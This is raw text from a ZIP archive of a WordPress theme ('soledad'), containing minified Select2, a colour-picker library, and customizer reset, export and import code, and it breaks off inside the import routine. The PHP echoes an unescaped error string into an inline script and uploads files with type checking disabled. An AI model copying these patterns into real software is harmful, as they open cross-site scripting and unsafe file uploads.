n=this;this._isInitialized?e.call(this,t):this.initSelection.call(null,this.$element,function(e){n._isInitialized=!0,i.isArray(e)||(e=[e]),t(e)})},e}),e.define("select2/compat/inputData",["jquery","../utils"],function(s,i){function e(e,t,n){this._currentData=[],this._valueSeparator=n.get("valueSeparator")||",","hidden"===t.prop("type")&&n.get("debug")&&console&&console.warn&&console.warn("Select2: Using a hidden input with Select2 is no longer supported and may stop working in the future. It is recommended to use a `<select>` element instead."),e.call(this,t,n)}return e.prototype.current=function(e,t){function i(e,t){var n=[];return e.selected||-1!==s.inArray(e.id,t)?(e.selected=!0,n.push(e)):e.selected=!1,e.children&&n.push.apply(n,i(e.children,t)),n}for(var n=[],r=0;r<this._currentData.length;r++){var o=this._currentData[r];n.push.apply(n,i(o,this.$element.val().split(this._valueSeparator)))}t(n)},e.prototype.select=function(e,t){if(this.options.get("multiple")){var n=this.$element.val();n+=this._valueSeparator+t.id,this.$element.val(n),this.$element.trigger("input").trigger("change")}else this.current(function(e){s.map(e,function(e){e.selected=!1})}),this.$element.val(t.id),this.$element.trigger("input").trigger("change")},e.prototype.unselect=function(e,r){var o=this;r.selected=!1,this.current(function(e){for(var t=[],n=0;n<e.length;n++){var i=e[n];r.id!=i.id&&t.push(i.id)}o.$element.val(t.join(o._valueSeparator)),o.$element.trigger("input").trigger("change")})},e.prototype.query=function(e,t,n){for(var i=[],r=0;r<this._currentData.length;r++){var o=this._currentData[r],s=this.matches(t,o);null!==s&&i.push(s)}n({results:i})},e.prototype.addOptions=function(e,t){var n=s.map(t,function(e){return i.GetData(e[0],"data")});this._currentData.push.apply(this._currentData,n)},e}),e.define("select2/compat/matcher",["jquery"],function(s){return function(o){return function(e,t){var n=s.extend(!0,{},t);if(null==e.term||""===s.trim(e.term))return n;if(t.children){for(var i=t.children.length-1;0<=i;i--){var r=t.children[i];o(e.term,r.text,r)||n.children.splice(i,1)}if(0<n.children.length)return n}return o(e.term,t.text,t)?n:null}}}),e.define("select2/compat/query",[],function(){function e(e,t,n){n.get("debug")&&window.console&&console.warn&&console.warn("Select2: The `query` option has been deprecated in favor of a custom data adapter that overrides the `query` method. Support will be removed for the `query` option in future versions of Select2."),e.call(this,t,n)}return e.prototype.query=function(e,t,n){t.callback=n,this.options.get("query").call(null,t)},e}),e.define("select2/dropdown/attachContainer",[],function(){function e(e,t,n){e.call(this,t,n)}return e.prototype.position=function(e,t,n){n.find(".dropdown-wrapper").append(t),t.addClass("select2-dropdown--below"),n.addClass("select2-container--below")},e}),e.define("select2/dropdown/stopPropagation",[],function(){function e(){}return e.prototype.bind=function(e,t,n){e.call(this,t,n);this.$dropdown.on(["blur","change","click","dblclick","focus","focusin","focusout","input","keydown","keyup","keypress","mousedown","mouseenter","mouseleave","mousemove","mouseover","mouseup","search","touchend","touchstart"].join(" "),function(e){e.stopPropagation()})},e}),e.define("select2/selection/stopPropagation",[],function(){function e(){}return e.prototype.bind=function(e,t,n){e.call(this,t,n);this.$selection.on(["blur","change","click","dblclick","focus","focusin","focusout","input","keydown","keyup","keypress","mousedown","mouseenter","mouseleave","mousemove","mouseover","mouseup","search","touchend","touchstart"].join(" "),function(e){e.stopPropagation()})},e}),l=function(p){var h,f,e=["wheel","mousewheel","DOMMouseScroll","MozMousePixelScroll"],t="onwheel"in document||9<=document.documentMode?["wheel"]:["mousewheel","DomMouseScroll","MozMousePixelScroll"],g=Array.prototype.slice;if(p.event.fixHooks)for(var n=e.length;n;)p.event.fixHooks[e[--n]]=p.event.mouseHooks;var m=p.event.special.mousewheel={version:"3.1.12",setup:function(){if(this.addEventListener)for(var e=t.length;e;)this.addEventListener(t[--e],i,!1);else this.onmousewheel=i;p.data(this,"mousewheel-line-height",m.getLineHeight(this)),p.data(this,"mousewheel-page-height",m.getPageHeight(this))},teardown:function(){if(this.removeEventListener)for(var e=t.length;e;)this.removeEventListener(t[--e],i,!1);else this.onmousewheel=null;p.removeData(this,"mousewheel-line-height"),p.removeData(this,"mousewheel-page-height")},getLineHeight:function(e){var t=p(e),n=t["offsetParent"in p.fn?"offsetParent":"parent"]();return n.length||(n=p("body")),parseInt(n.css("fontSize"),10)||parseInt(t.css("fontSize"),10)||16},getPageHeight:function(e){return p(e).height()},settings:{adjustOldDeltas:!0,normalizeOffset:!0}};function i(e){var t,n=e||window.event,i=g.call(arguments,1),r=0,o=0,s=0,a=0,l=0;if((e=p.event.fix(n)).type="mousewheel","detail"in n&&(s=-1*n.detail),"wheelDelta"in n&&(s=n.wheelDelta),"wheelDeltaY"in n&&(s=n.wheelDeltaY),"wheelDeltaX"in n&&(o=-1*n.wheelDeltaX),"axis"in n&&n.axis===n.HORIZONTAL_AXIS&&(o=-1*s,s=0),r=0===s?o:s,"deltaY"in n&&(r=s=-1*n.deltaY),"deltaX"in n&&(o=n.deltaX,0===s&&(r=-1*o)),0!==s||0!==o){if(1===n.deltaMode){var c=p.data(this,"mousewheel-line-height");r*=c,s*=c,o*=c}else if(2===n.deltaMode){var u=p.data(this,"mousewheel-page-height");r*=u,s*=u,o*=u}if(t=Math.max(Math.abs(s),Math.abs(o)),(!f||t<f)&&y(n,f=t)&&(f/=40),y(n,t)&&(r/=40,o/=40,s/=40),r=Math[1<=r?"floor":"ceil"](r/f),o=Math[1<=o?"floor":"ceil"](o/f),s=Math[1<=s?"floor":"ceil"](s/f),m.settings.normalizeOffset&&this.getBoundingClientRect){var d=this.getBoundingClientRect();a=e.clientX-d.left,l=e.clientY-d.top}return e.deltaX=o,e.deltaY=s,e.deltaFactor=f,e.offsetX=a,e.offsetY=l,e.deltaMode=0,i.unshift(e,r,o,s),h&&clearTimeout(h),h=setTimeout(v,200),(p.event.dispatch||p.event.handle).apply(this,i)}}function v(){f=null}function y(e,t){return m.settings.adjustOldDeltas&&"mousewheel"===e.type&&t%120==0}p.fn.extend({mousewheel:function(e){return e?this.bind("mousewheel",e):this.trigger("mousewheel")},unmousewheel:function(e){return this.unbind("mousewheel",e)}})},"function"==typeof e.define&&e.define.amd?e.define("jquery-mousewheel",["jquery"],l):"object"==typeof exports?module.exports=l:l(d),e.define("jquery.select2",["jquery","jquery-mousewheel","./select2/core","./select2/defaults","./select2/utils"],function(r,e,o,t,s){if(null==r.fn.select2){var a=["open","close","destroy"];r.fn.select2=function(t){if("object"==typeof(t=t||{}))return this.each(function(){var e=r.extend(!0,{},t);new o(r(this),e)}),this;if("string"!=typeof t)throw new Error("Invalid arguments for Select2: "+t);var n,i=Array.prototype.slice.call(arguments,1);return this.each(function(){var e=s.GetData(this,"select2");null==e&&window.console&&console.error&&console.error("The select2('"+t+"') method was called on an element that is not using Select2."),n=e[t].apply(e,i)}),-1<r.inArray(t,a)?this:n}}return null==r.fn.select2.defaults&&(r.fn.select2.defaults=t),o}),{define:e.define,require:e.require}}(),t=e.require("jquery.select2");return d.fn.select2.amd=e,t});PK     N\!U-      inc/customizer/js/button.jsnu [        jQuery( document ).ready( function( $ ) {
	$( '[data-type="render_separate_css"]' ).on( 'click', function( e ) {
		var $this = $( this ),
			$nonce = $this.data( 'nonce' ),
			$ajaxurl = $this.data( 'ajaxurl' );
		e.preventDefault();

		$this.removeClass( 'success' ).addClass( 'loading' );
		
		$.ajax({
			type : "post",
			dataType : "json",
			url : $ajaxurl,
			data : {
				action: "penci_render_separate_css_file",
				_nonce : $nonce,
			},
			success: function() {
				$this.removeClass( 'loading' ).addClass( 'success' );
			},
			 error: function( jqXHR, textStatus, errorThrown ){
				console.log( 'The following error occured: ' + textStatus, errorThrown );
			}
		});
	} );
} );
PK     N\ g  g  .  inc/customizer/js/wp-color-picker-alpha-min.jsnu [        /**!
 * wp-color-picker-alpha
 *
 * Overwrite Automattic Iris for enabled Alpha Channel in wpColorPicker
 * Only run in input and is defined data alpha in true
 *
 * Version: 2.1.4
 * https://github.com/kallookoo/wp-color-picker-alpha
 * Licensed under the GPLv2 license or later.
 */
!function(t){if(!t.wp.wpColorPicker.prototype._hasAlpha){var o="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAAHnlligAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAHJJREFUeNpi+P///4EDBxiAGMgCCCAGFB5AADGCRBgYDh48CCRZIJS9vT2QBAggFBkmBiSAogxFBiCAoHogAKIKAlBUYTELAiAmEtABEECk20G6BOmuIl0CIMBQ/IEMkO0myiSSraaaBhZcbkUOs0HuBwDplz5uFJ3Z4gAAAABJRU5ErkJggg==",r='<div class="wp-picker-holder" />',e='<div class="wp-picker-container" />',a='<input type="button" class="button button-small" />',i='<button type="button" class="button wp-color-result" aria-expanded="false"><span class="wp-color-result-text"></span></button>',l=!1;if("undefined"!=typeof wpColorPickerL10n){(l=void 0!==wpColorPickerL10n.current)&&(i='<a tabindex="0" class="wp-color-result" />');var n=wpColorPickerL10n.defaultLabel,s=wpColorPickerL10n.pick,p=wpColorPickerL10n.defaultString,c=wpColorPickerL10n.defaultAriaLabel,d=wpColorPickerL10n.clear,g=wpColorPickerL10n.clearAriaLabel}else{var h=wp.i18n.__;n=h("Color value"),s=h("Select Color"),p=h("Default"),c=h("Select default color"),d=h("Clear"),g=h("Clear color")}Color.fn.toString=function(){if(this._alpha<1)return this.toCSS("rgba",this._alpha).replace(/\s+/g,"");var t=parseInt(this._color,10).toString(16);return this.error?"":(t.length<6&&(t=("00000"+t).substr(-6)),"#"+t)},t.widget("wp.wpColorPicker",t.wp.wpColorPicker,{_hasAlpha:!0,_create:function(){if(t.support.iris){var h=this,u=h.element;if(t.extend(h.options,u.data()),"hue"===h.options.type)return h._createHueOnly();h.close=t.proxy(h.close,h),h.initialValue=u.val(),u.addClass("wp-color-picker"),l?(u.hide().wrap(e),h.wrap=u.parent(),h.toggler=t(i).insertBefore(u).css({backgroundColor:h.initialValue}).attr("title",s).attr("data-current",wpColorPickerL10n.current),h.pickerContainer=t(r).insertAfter(u),h.button=t(a).addClass("hidden")):(u.parent("label").length||(u.wrap("<label></label>"),h.wrappingLabelText=t('<span class="screen-reader-text"></span>').insertBefore(u).text(n)),h.wrappingLabel=u.parent(),h.wrappingLabel.wrap(e),h.wrap=h.wrappingLabel.parent(),h.toggler=t(i).insertBefore(h.wrappingLabel).css({backgroundColor:h.initialValue}),h.toggler.find(".wp-color-result-text").text(s),h.pickerContainer=t(r).insertAfter(h.wrappingLabel),h.button=t(a)),h.options.defaultColor?(h.button.addClass("wp-picker-default").val(p),l||h.button.attr("aria-label",c)):(h.button.addClass("wp-picker-clear").val(d),l||h.button.attr("aria-label",g)),l?u.wrap('<span class="wp-picker-input-wrap" />').after(h.button):(h.wrappingLabel.wrap('<span class="wp-picker-input-wrap hidden" />').after(h.button),h.inputWrapper=u.closest(".wp-picker-input-wrap")),u.iris({target:h.pickerContainer,hide:h.options.hide,width:h.options.width,mode:h.options.mode,palettes:h.options.palettes,change:function(r,e){h.options.alpha?(h.toggler.css({"background-image":"url("+o+")"}),l?h.toggler.html('<span class="color-alpha" />'):(h.toggler.css({position:"relative"}),0==h.toggler.find("span.color-alpha").length&&h.toggler.append('<span class="color-alpha" />')),h.toggler.find("span.color-alpha").css({width:"30px",height:"100%",position:"absolute",top:0,left:0,"border-top-left-radius":"2px","border-bottom-left-radius":"2px",background:e.color.toString()})):h.toggler.css({backgroundColor:e.color.toString()}),t.isFunction(h.options.change)&&h.options.change.call(this,r,e)}}),u.val(h.initialValue),h._addListeners(),h.options.hide||h.toggler.click()}},_addListeners:function(){var o=this;o.wrap.on("click.wpcolorpicker",function(t){t.stopPropagation()}),o.toggler.click(function(){o.toggler.hasClass("wp-picker-open")?o.close():o.open()}),o.element.on("change",function(r){(""===t(this).val()||o.element.hasClass("iris-error"))&&(o.options.alpha?(l&&o.toggler.removeAttr("style"),o.toggler.find("span.color-alpha").css("backgroundColor","")):o.toggler.css("backgroundColor",""),t.isFunction(o.options.clear)&&o.options.clear.call(this,r))}),o.button.on("click",function(r){t(this).hasClass("wp-picker-clear")?(o.element.val(""),o.options.alpha?(l&&o.toggler.removeAttr("style"),o.toggler.find("span.color-alpha").css("backgroundColor","")):o.toggler.css("backgroundColor",""),t.isFunction(o.options.clear)&&o.options.clear.call(this,r),o.element.trigger("change")):t(this).hasClass("wp-picker-default")&&o.element.val(o.options.defaultColor).change()})}}),t.widget("a8c.iris",t.a8c.iris,{_create:function(){if(this._super(),this.options.alpha=this.element.data("alpha")||!1,this.element.is(":input")||(this.options.alpha=!1),void 0!==this.options.alpha&&this.options.alpha){var o=this,r=o.element,e=t('<div class="iris-strip iris-slider iris-alpha-slider"><div class="iris-slider-offset iris-slider-offset-alpha"></div></div>').appendTo(o.picker.find(".iris-picker-inner")),a=e.find(".iris-slider-offset-alpha"),i={aContainer:e,aSlider:a};void 0!==r.data("custom-width")?o.options.customWidth=parseInt(r.data("custom-width"))||0:o.options.customWidth=100,o.options.defaultWidth=r.width(),(o._color._alpha<1||-1!=o._color.toString().indexOf("rgb"))&&r.width(parseInt(o.options.defaultWidth+o.options.customWidth)),t.each(i,function(t,r){o.controls[t]=r}),o.controls.square.css({"margin-right":"0"});var l=o.picker.width()-o.controls.square.width()-20,n=l/6,s=l/2-n;t.each(["aContainer","strip"],function(t,r){o.controls[r].width(s).css({"margin-left":n+"px"})}),o._initControls(),o._change()}},_initControls:function(){if(this._super(),this.options.alpha){var t=this;t.controls.aSlider.slider({orientation:"vertical",min:0,max:100,step:1,value:parseInt(100*t._color._alpha),slide:function(o,r){t._color._alpha=parseFloat(r.value/100),t._change.apply(t,arguments)}})}},_change:function(){this._super();var t=this,r=t.element;if(this.options.alpha){var e=t.controls,a=parseInt(100*t._color._alpha),i=t._color.toRgb(),l=["rgb("+i.r+","+i.g+","+i.b+") 0%","rgba("+i.r+","+i.g+","+i.b+", 0) 100%"],n=t.options.defaultWidth,s=t.options.customWidth,p=t.picker.closest(".wp-picker-container").find(".wp-color-result");e.aContainer.css({background:"linear-gradient(to bottom, "+l.join(", ")+"), url("+o+")"}),p.hasClass("wp-picker-open")&&(e.aSlider.slider("value",a),t._color._alpha<1?(e.strip.attr("style",e.strip.attr("style").replace(/rgba\(([0-9]+,)(\s+)?([0-9]+,)(\s+)?([0-9]+)(,(\s+)?[0-9\.]+)\)/g,"rgb($1$3$5)")),r.width(parseInt(n+s))):r.width(n))}(r.data("reset-alpha")||!1)&&t.picker.find(".iris-palette-container").on("click.palette",".iris-palette",function(){t._color._alpha=1,t.active="external",t._change()}),r.trigger("change")},_addInputListeners:function(t){var o=this,r=function(r){var e=new Color(t.val()),a=t.val();t.removeClass("iris-error"),e.error?""!==a&&t.addClass("iris-error"):e.toString()!==o._color.toString()&&("keyup"===r.type&&a.match(/^[0-9a-fA-F]{3}$/)||o._setOption("color",e.toString()))};t.on("change",r).on("keyup",o._debounce(r,100)),o.options.hide&&t.on("focus",function(){o.show()})}})}}(jQuery),jQuery(document).ready(function(t){t(".color-picker").wpColorPicker()});PK     N\p?    9  inc/customizer/customizer-tools/templates/import-form.phpnu [        <?php
/**
 * Template for displaying customizer import form.
 *
 * @package soledad
 */

defined( 'ABSPATH' ) || die( "Can't access directly" );

ob_start();
?>

<form action="" method="post" class="customizer-import-form" enctype="multipart/form-data">
	<input type="hidden" name="action" value="customizer_import">
	<?php wp_nonce_field( 'customizer-import', 'nonce' ); ?>
	<div class="fields">
		<div class="field left-field">
			<label class="label" for="customizer_import_file">
				<?php _e( 'Select JSON file to import.', 'soledad' ); ?>
			</label>
			<div class="control">
				<input type="file" id="customizer_import_file" name="customizer_import_file" class="customizer-import-file" accept="application/json">
			</div>
		</div>
		<div class="field right-field">
			<div class="control">
				<button class="button button-primary"><?php _e( 'Import', 'soledad' ); ?></button>
			</div>
		</div>
	</div>
	<span class="close dashicons dashicons-no-alt"></span>
</form>

<?php
$customizer_import_form = ob_get_clean();
PK     N\7G]    =  inc/customizer/customizer-tools/assets/js/customizer-reset.jsnu [        /**
 * Setting up customizer reset.
 *
 * Used global objects:
 * - wp
 * - ajaxurl
 * - jQuery
 * - customizerResetObj
 */
(function ($) {
	/**
	 * Setup the flow.
	 */
	function init() {
		setupOutput();
	}

	/**
	 * Setup output:
	 * - reset button
	 * - export & import buttons
	 * - import form
	 */
	function setupOutput() {

		$class_name = 'customizer-reset-area customizer-reset-footer';
		if ( customizerResetObj.has_previous ) {
			$class_name = 'customizer-reset-area customizer-reset-footer has-previous-btn';
		}

		var $buttonsWrapper = $('<div class="'+ $class_name +'"></div>');

		var $restoreButton = $(
			'<button name="customizer-restore" class="button-primary customizer-restore-button"><i class="dashicons dashicons-undo"></i>' + customizerResetObj.buttons.restore.text + '</button>'
		);

		var $resetButton = $(
			'<button name="customizer-reset" class="button-primary customizer-reset-button"><i class="dashicons dashicons-trash"></i>' + customizerResetObj.buttons.reset.text + '</button>'
		);

		var $exportButton = $(
			'<a href="' + customizerResetObj.customizerUrl + '?action=customizer_export&nonce=' + customizerResetObj.nonces.export + '" class="button-secondary customizer-export-import customizer-export-link"><i class="dashicons dashicons-download"></i><span class="customizer-export-import-hint">' + customizerResetObj.buttons.export.text + '</span></a>'
		);

		var $importButton = $(
			'<a href="" class="button-secondary customizer-export-import customizer-import-trigger"><i class="dashicons dashicons-upload"></i><span class="customizer-export-import-hint">' + customizerResetObj.buttons.import.text + '</span></a>'
		);

		$resetButton.on('click', resetCustomizer);
		$restoreButton.on('click', restoreCustomizer);
		$importButton.on('click', openImportForm);

		if ( customizerResetObj.has_previous ) {
			$buttonsWrapper.append($restoreButton);
		}

		$buttonsWrapper.append($resetButton);
		$buttonsWrapper.append($exportButton);
		$buttonsWrapper.append($importButton);

		$('#customize-footer-actions').prepend($buttonsWrapper);
		$('.customizer-reset-footer').append(customizerResetObj.importForm.templates);
		$('.customizer-import-form .close').on('click', closeImportForm);
		$('.customizer-import-form').on('submit', showImportWarning);
	}

	/**
	 * Reset customizer.
	 * 
	 * @param Event e Event object.
	 */
	function resetCustomizer(e) {
		e.preventDefault();

		if (!confirm(customizerResetObj.dialogs.resetWarning)) return;

		this.disabled = true;

		$.ajax({
			type: 'post',
			url: ajaxurl,
			data: {
				wp_customize: 'on',
				action: 'customizer_reset',
				nonce: customizerResetObj.nonces.reset
			}
		}).done(function (r) {
			if (!r || !r.success) return;

			wp.customize.state('saved').set(true);
			location.reload();
		}).always(function () {
			this.disabled = false;
		});
	}

	/**
	 * Restore customizer.
	 * 
	 * @param Event e Event object.
	 */
	function restoreCustomizer(e) {
		e.preventDefault();

		if (!confirm(customizerResetObj.dialogs.restoreWarning)) return;

		this.disabled = true;

		$.ajax({
			type: 'post',
			url: ajaxurl,
			data: {
				wp_customize: 'on',
				action: 'customizer_restore',
				nonce: customizerResetObj.nonces.reset
			}
		}).done(function (r) {
			if (!r || !r.success) return;

			wp.customize.state('saved').set(true);
			location.reload();
		}).always(function () {
			this.disabled = false;
		});
	}

	function openImportForm(e) {
		e.preventDefault();
		$('.customizer-import-form').addClass('is-expanded');
	}

	function closeImportForm(e) {
		e.preventDefault();
		$('.customizer-import-form').removeClass('is-expanded');
	}

	function showImportWarning(e) {
		e.preventDefault();

		if (confirm(customizerResetObj.dialogs.importWarning)) this.submit();
	}

	// Start!
	init();

})(jQuery);
PK     N\TnG  G  ?  inc/customizer/customizer-tools/assets/css/customizer-reset.cssnu [        /* General */
.wp-full-overlay-sidebar .wp-full-overlay-sidebar-content {
    bottom: 120px;
}
.expanded .wp-full-overlay-footer {
    height: 120px;
}
body.header-builder-open .expanded .wp-full-overlay-footer {
    height: 45px;
}
.customizer-reset-area,
.customizer-reset-area * {
    box-sizing: border-box;
    -webkit-box-sizing: border-box;
}
/* Panel */
.customizer-reset-footer {
    display: flex;
    align-items: center;
    justify-content: space-between;
    position: relative;
    padding-left: 10px;
    padding-right: 10px;
    height: 75px;
    background-color: #fff;
    border-bottom: 1px solid #ddd;
    flex-direction: row-reverse;
}
body.header-builder-open .customizer-reset-footer {
    display: none;
}
/* Button */
.customizer-reset-footer .customizer-reset-button,
.customizer-reset-footer .customizer-reset-button:hover {
    background-color: red;
    border-color: red;
}
.customizer-reset-footer i {
    display: inline-block;
    vertical-align: middle;
}
.customizer-reset-footer .customizer-restore-button,
.customizer-reset-footer .customizer-reset-button {
    padding: 5px 10px;
}
.customizer-reset-footer .customizer-reset-button:active {
    background-color: red;
    border-color: red;
}
#customize-controls .customizer-reset-footer .customizer-reset-button img {
    max-width: 14px;
    vertical-align: middle;
    margin-right: 10px;
    margin-top: -3px;
}
.customizer-reset-footer.has-previous-btn a,
.customizer-reset-footer.has-previous-btn button {
    font-size: 11px;
    padding-left: 5px;
    padding-right: 5px;
}
.customizer-reset-footer.has-previous-btn i,
.customizer-reset-footer.has-previous-btn i {
    font-size: 13px;
    line-height: 20px;
    width: 15px;
}
/* Icons */
.customizer-reset-footer .customizer-export-import {
    display: -webkit-box;
    display: -ms-flexbox;
    display: flex;
    align-items: center;
    justify-content: center;
    text-align: center;
    cursor: pointer;
    padding: 5px 10px;
    box-shadow: none;
}
#customize-controls .customizer-reset-footer .customizer-export-import img {
    max-width: 14px;
    opacity: 0.4;
}
#customize-controls .customizer-reset-footer .customizer-export-import:hover img {
    opacity: 0.8;
}
/* Import */
.customizer-import-form {
    padding: 10px;
    display: flex;
    align-items: center;
    position: absolute;
    left: 0;
    bottom: 0;
    padding: 0;
    width: 100%;
    height: 100%;
    max-height: 0;
    background-color: #fff;
    transition: all 0.5s;
    overflow: hidden;
}
.customizer-import-form.is-expanded {
    padding: 10px;
    max-height: 500px;
    transition: all 1s;
}
.customizer-import-form .close {
    position: absolute;
    right: 5px;
    top: 5px;
    display: block;
    width: 17px;
    height: 17px;
    line-height: 17px;
    font-size: 18px;
    text-align: center;
    color: #444;
    cursor: pointer;
}
.customizer-import-form .close:hover {
    color: #0073aa;
}
.customizer-import-form .fields {
    display: flex;
    flex-wrap: wrap;
    align-items: center;
    width: 100%;
}
.customizer-import-form .left-field {
    width: 70%;
    overflow: hidden;
}
.customizer-import-form .right-field {
    width: 30%;
    text-align: right;
    align-self: flex-end;
}
.customizer-import-form .label {
    display: block;
    margin-bottom: 5px;
    font-weight: 600;
}
.customizer-import-file {
    font-size: 11px;
}
PK     N\3i  i  ,  inc/customizer/customizer-tools/autoload.phpnu [        <?php

namespace SoledadCustomizerTools;

defined( 'ABSPATH' ) || die( "Can't access directly" );

// Require helper classes.
require __DIR__ . '/helpers/class-base.php';
require __DIR__ . '/helpers/class-export.php';
require __DIR__ . '/helpers/class-import.php';

// Require setup classes.
require __DIR__ . '/class-setup.php';

// Init classes.
new Setup();
PK     N\gG    /  inc/customizer/customizer-tools/class-setup.phpnu [        <?php
/**
 * Setup customizer reset.
 *
 * @package soledad
 */

namespace SoledadCustomizerTools;

use SoledadCustomizerTools\Helpers\Export;
use SoledadCustomizerTools\Helpers\Import;

/**
 * Setup customizer reset.
 */
class Setup {
	/**
	 * Setup action & filter hooks.
	 */

	private $wp_customize;

	public function __construct() {
		if ( isset( $_GET['layout_id'] ) && $_GET['layout_id'] ) {
			return;
		}
		add_action( 'customize_register', array( $this, 'customize_register' ) );
		add_action( 'customize_register', array( $this, 'export' ) );
		add_action( 'customize_register', array( $this, 'import' ) );
		add_action( 'customize_controls_enqueue_scripts', array( $this, 'enqueue_scripts' ) );
		add_action( 'customize_controls_print_scripts', array( $this, 'controls_print_scripts' ) );
		add_action( 'wp_ajax_customizer_reset', array( $this, 'handle_ajax_reset' ) );
		add_action( 'wp_ajax_customizer_restore', array( $this, 'handle_ajax_restore' ) );
	}

	/**
	 * Store a reference to `WP_Customize_Manager` instance
	 *
	 * @param object $wp_customize `WP_Customize_Manager` instance.
	 */
	public function customize_register( $wp_customize ) {
		$this->wp_customize = $wp_customize;
	}

	/**
	 * Enqueue assets.
	 */
	public function enqueue_scripts() {
		global $wp;

		// CSS.
		wp_enqueue_style( 'customizer-tools', PENCI_SOLEDAD_URL . '/inc/customizer/customizer-tools/assets/css/customizer-reset.css', array(), PENCI_SOLEDAD_VERSION );

		// JS.
		wp_enqueue_script( 'customizer-tools', PENCI_SOLEDAD_URL . '/inc/customizer/customizer-tools/assets/js/customizer-reset.js', array( 'jquery' ), PENCI_SOLEDAD_VERSION, true );

		// Require the customizer import form.
		require __DIR__ . '/templates/import-form.php';

		$theme_slug = get_option( 'stylesheet' );

		$option_name = 'backup_theme_mods_' . $theme_slug;

		wp_localize_script(
			'customizer-tools',
			'customizerResetObj',
			array(
				'buttons'       => array(
					'reset'   => array(
						'text' => __( 'Reset All', 'soledad' ),
					),
					'export'  => array(
						'text' => __( 'Export', 'soledad' ),
					),
					'import'  => array(
						'text' => __( 'Import', 'soledad' ),
					),
					'restore' => array(
						'text' => __( 'Restore', 'soledad' ),
					),
				),
				'has_previous'  => ! empty ( get_option( $option_name ) ),
				'dialogs'       => array(
					'restoreWarning' => __( "If you accidentally pressed the 'Reset All' button before, this action restores all the data of the Customizer to the last time it was pressed.", 'soledad' ),
					'resetWarning'   => __( "Caution! Proceeding will erase all customizations made for this theme through the WordPress customizer.", 'soledad' ),
					'importWarning'  => __( 'Caution! Using the import tool will overwrite your current customizer data. To save your current customizations, export them prior to importing new data.', 'soledad' ),
					'emptyImport'    => __( 'Please select a file to import.', 'soledad' ),
				),
				'importForm'    => array(
					'templates' => $customizer_import_form,
				),
				'customizerUrl' => admin_url( 'customize.php' ),
				'pluginUrl'     => PENCI_SOLEDAD_URL . '/inc/customizer/customizer-tools/',
				'currentUrl'    => home_url( $wp->request ),
				'nonces'        => array(
					'reset'  => wp_create_nonce( 'customizer-reset' ),
					'export' => wp_create_nonce( 'customizer-export' ),
				),
			)
		);
	}

	/**
	 * Handle ajax request of customizer reset.
	 */
	public function handle_ajax_reset() {
		if ( ! $this->wp_customize->is_preview() ) {
			wp_send_json_error( 'not_preview' );
		}

		if ( ! isset( $_POST['nonce'] ) || ! wp_verify_nonce( $_POST['nonce'], 'customizer-reset' ) ) {
			wp_send_json_error( 'invalid_nonce' );
		}

		$theme_slug     = get_option( 'stylesheet' );
		$option_name    = 'theme_mods_' . $theme_slug;
		$option_bk_name = 'backup_theme_mods_' . $theme_slug;

		// Backup the old data and then delete the original option
		if ( $old_data = get_option( $option_name ) ) {
			update_option( $option_bk_name, $old_data );
			delete_option( $option_name );
		}

		wp_send_json_success();
	}

	/**
	 * Handle ajax request of customizer restore.
	 */
	public function handle_ajax_restore() {
		if ( ! $this->wp_customize->is_preview() ) {
			wp_send_json_error( 'not_preview' );
		}

		if ( ! isset( $_POST['nonce'] ) || ! wp_verify_nonce( $_POST['nonce'], 'customizer-reset' ) ) {
			wp_send_json_error( 'invalid_nonce' );
		}

		$theme_slug = get_option( 'stylesheet' );

		$option_name    = 'theme_mods_' . $theme_slug;
		$option_bk_name = 'backup_theme_mods_' . $theme_slug;

		$old_data = get_option( $option_bk_name );

		if ( ! empty ( $old_data ) ) {
			update_option( $option_name, $old_data );
			delete_option( $option_bk_name );
		}

		wp_send_json_success();
	}

	/**
	 * Setup customizer export.
	 */
	public function export() {
		if ( ! is_customize_preview() ) {
			return;
		}

		if ( ! isset( $_GET['action'] ) || 'customizer_export' !== $_GET['action'] ) {
			return;
		}

		if ( ! isset( $_GET['nonce'] ) || ! wp_verify_nonce( $_GET['nonce'], 'customizer-export' ) ) {
			return;
		}

		$exporter = new Export( $this->wp_customize );

		$exporter->export();
	}

	/**
	 * Setup customizer import.
	 */
	public function import() {
		if ( ! is_customize_preview() ) {
			return;
		}

		if ( ! isset( $_POST['action'] ) || 'customizer_import' !== $_POST['action'] ) {
			return;
		}

		if ( ! isset( $_POST['nonce'] ) || ! wp_verify_nonce( $_POST['nonce'], 'customizer-import' ) ) {
			return;
		}

		require_once __DIR__ . '/helpers/class-customizer-setting.php';

		$importer = new Import();

		$importer->import();
	}

	/**
	 * Prints scripts for the control.
	 */
	public function controls_print_scripts() {
		global $customizer_reset_error;

		if ( $customizer_reset_error ) {
			echo '<script> alert("' . $customizer_reset_error . '"); </script>';
		}
	}
}
PK     N\G9    D  inc/customizer/customizer-tools/helpers/class-customizer-setting.phpnu [        <?php
/**
 * Customizer Setting.
 *
 * @package soledad
 */

namespace SoledadCustomizerTools\Helpers;

use WP_Customize_Setting;

/**
 * A class that extends WP_Customize_Setting so we can access
 * the protected updated method when importing options.
 */
final class Customizer_Setting extends WP_Customize_Setting {
	/**
	 * Import an option value for this setting.
	 *
	 * @param mixed $value The option value.
	 * @return void
	 */
	public function import( $value ) {
		$this->update( $value );
	}
}
PK     N\.  .  8  inc/customizer/customizer-tools/helpers/class-import.phpnu [        <?php
/**
 * Customizer import helper.
 *
 * @package soledad
 */

namespace SoledadCustomizerTools\Helpers;

/**
 * A class that handle customizer import.
 */
class Import extends Base {
	/**
	 * An instance of WP_Customize_Manager.
	 *
	 * @access private
	 * @var object $wp_customize
	 */
	private $wp_customize;

	/**
	 * Class constructor
	 *
	 * @param object $wp_customize `WP_Customize_Manager` instance.
	 */
	public function __construct( $wp_customize = null ) {
		$this->wp_customize = $wp_customize;
	}

	/**
	 * Import the customizer.
	 */
	public function import() {
		global $wp_customize;
		global $customizer_reset_error;

		// Make sure WordPress upload support is loaded.
		if ( ! function_exists( 'wp_handle_upload' ) ) {
			require_once ABSPATH . 'wp-admin/includes/file.php';
		}

		$customizer_reset_error = false;

		// Setup internal vars.
		$template  = get_template();
		$overrides = array(
			'test_form' => false,
			'test_type' => false,
		);
		$file      = wp_handle_upload( $_FILES['customizer_import_file'], $overrides );

		// Make sure we have an uploaded file.
		if ( isset( $file['error'] ) ) {
			$customizer_reset_error = $file['error'];
			return;
		}

		if ( ! file_exists( $file['file'] ) ) {
			$customizer_reset_error = __( 'Import error! Please try again.', 'soledad' );
